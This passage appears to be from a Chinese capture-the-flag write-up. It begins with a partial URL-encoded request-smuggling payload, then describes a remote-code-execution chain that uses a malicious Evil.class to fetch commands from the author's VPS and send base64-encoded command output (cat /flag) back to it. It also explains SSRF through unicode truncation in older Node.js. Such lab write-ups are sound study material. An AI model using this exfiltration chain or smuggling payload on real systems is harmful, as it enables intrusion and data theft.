protected]%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private
发送payload3
base64一下就是flag
payload通过json内容触发远控,第一次恶意Evil.class中将vps上的1.txt(写了需要执行的命令)发送到靶机/tmp/hfctf上,然后通过第二次发payload执行(sh)已经在靶机上的1.txt中的命令,并且通过url传参数的方法(hfctf=cat /flag|base64
),将base64后的命令执行回显带回vps开启的http(9998)端口
vps开放端口时目录和靶机所访问的目录不一致,所以我最后直接把web服务放在根目录下,Evil.class Evil.java也被我移到根目录下。尽量使用python3打开web服务,用自构建的py文件打开服务需要提前安装flask,并且需要对py命令中目录打开足够清晰(我不行)第二个CVE的请求走私配合
原理:unicode字符损坏
node.js默认使用latin1,这是单字节编码,不能表示高编号的unicode
当发出的路径中含有控制字符,HTTP库会将其URL编码
http://example.com/\r\n/test => /%0D%0A/test
当Node.js版本8或更低版本对此URL发出GET请求时,高编号的unicode不会进行转义,因为它们不是HTTP控制字符、
但是当字符串被编码(latin1)写入路径时,字符会被截断为/r和/n
\u{010D}\u{010A} //高编号unicode
čĊ //原字符
/r/n //latin1截断
//字符被截断为其JavaScript表示的最低字节
对于Node.js8或更低版本,如果有下列情况,任何发出传出HTTP请求的服务器都可能受到通过请求拆实现的SSRF的攻击:
• 接受来自用户输入的unicode数据
• 并将其包含爱HTTP请求的路径中
• 且请求具有一个0长度的主体(比如一个GET或者DELETE)